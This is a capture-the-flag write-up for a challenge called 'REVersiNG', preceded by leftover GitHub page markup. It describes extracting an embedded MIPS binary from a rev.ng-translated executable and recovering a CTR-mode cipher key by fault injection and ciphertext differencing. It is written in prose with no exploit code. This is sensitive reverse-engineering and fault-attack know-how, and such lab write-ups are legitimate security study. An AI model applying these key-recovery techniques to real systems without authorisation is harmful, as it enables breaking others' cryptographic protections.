color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# REVersiNGAfter some simple reversing we can know that the binary is generated by the tool [rev.ng](https://rev.ng) (just as the chall name implies), which can "translate a static ARM, MIPS or x86-64 Linux binary to any of the architectures supported by LLVM". Strings the binary then you can find such string `int do_fork(struct CPUMIPSState *, unsigned int, abi_ulong, abi_ulong, target_ulong, abi_ulong)`. So our binary is translated from a mips binary. We try to analyse the binary more and find that the sections of original mips binary is still in the new binary. It makes things really easy.(I am not sure if it is expected by the designer) In its section table there are two strange sections `.o_rx_0x400000` and `.o_rw_0x412000`. Dump the data in the two sections and we see that it starts with 7f454c46. So it's exactly what we need. After getting the mips binary without obfuscation, we just try to find out what it does by reversing it(Sadly, we are unable to decompile it). Hours' work makes us know that the binary's behaviors can be described as follow: * it reads one byte `a` and one dword `b` as input* it generates a random nonce by reading /dev/urandom and get key(our flag) by reading ./key* it encrypts one 128-byte-long hardcoded string with the nonce and key twice and print two ciphertexts and the nonce(all hex-encoded)* the encryption algorithm is a block cipher in CTR mode and the block length is 64 bytes* In the second encryption, before it encrypts `block a`(for example, if a = 0, it's the first block), it will set the byte pointed by `b` to zero Now we know that the program is a simulation to **fault injection attack**. In encryption, 64-byte-long block is consist of constants(16 bytes), key(32 bytes), counter(4 bytes, starts at 1) and nonce(12 bytes). The process of one block's encryption can be showed as the expression: `ciphertext = plaintext ^ (Enc(block)+block)` In the addition, the blocks are regarded as int arrays and added. The fault injection happens after the block is constructed and before it is encrypted. Although the two `block` in `(Enc(block)+block)` should be same, in fact the second one is stored in .bss and the first one is a copy in stack. So if we set one byte of the block in .bss to zero, the result of encryption will be changed. With the difference of two ciphertexts, it is easy to calculate the original value of block, which contains the key.